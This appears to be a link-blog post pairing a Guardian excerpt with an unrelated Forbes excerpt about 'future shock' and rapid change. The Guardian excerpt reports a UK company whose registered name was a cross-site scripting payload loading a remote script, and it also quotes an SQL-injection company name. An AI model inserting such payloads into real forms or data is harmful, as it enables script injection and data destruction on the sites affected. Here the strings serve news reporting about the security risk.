Category: Technology and Computers

Software firm’s director thought name using HTML would be ‘fun and playful’

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The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.

That script would have simply put up a harmless alert – but it serves as proof that a malicious attacker could instead have used the same weakness as a gateway to more damaging ends.

Similar names have been registered in the past, such as “; DROP TABLE “COMPANIES”;– LTD”, a wry attempt to carry out an attack known as SQL injection, inspired by a famous XKCD webcomic, but this was the first such name to have prompted a response. Companies House has retroactively removed the original name from its data feeds, and all documentation referring to its original moniker now reads simply “Company name available on request”.

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https://www.theguardian.com/uk-news/2020/nov/06/companies-house-forces-business-name-change-to-prevent-security-risk

Morris sees signals all around that suggest people are at the end of their tolerance of the pace of change today, much less tomorrow, when futurists suggest there will be more change over the next decade alone than during the prior 100 years. “The whole MAGA movement is essentially an expression of millions of people who are experiencing anxiety because of too much change,” Morris says. “They’re afraid, they’re angry, they’re upset, they want to go back to how it was 20, 30, 40, 50 years ago. The symptoms that Alvin Toffler describes in his 1970 book, Future Shock are what we’re living out in a very public way in society today.”

https://www.forbes.com/sites/robertbtucker/2024/09/27/the-singularity-is-coming-soon-what-will-the-world-look-like-in-2035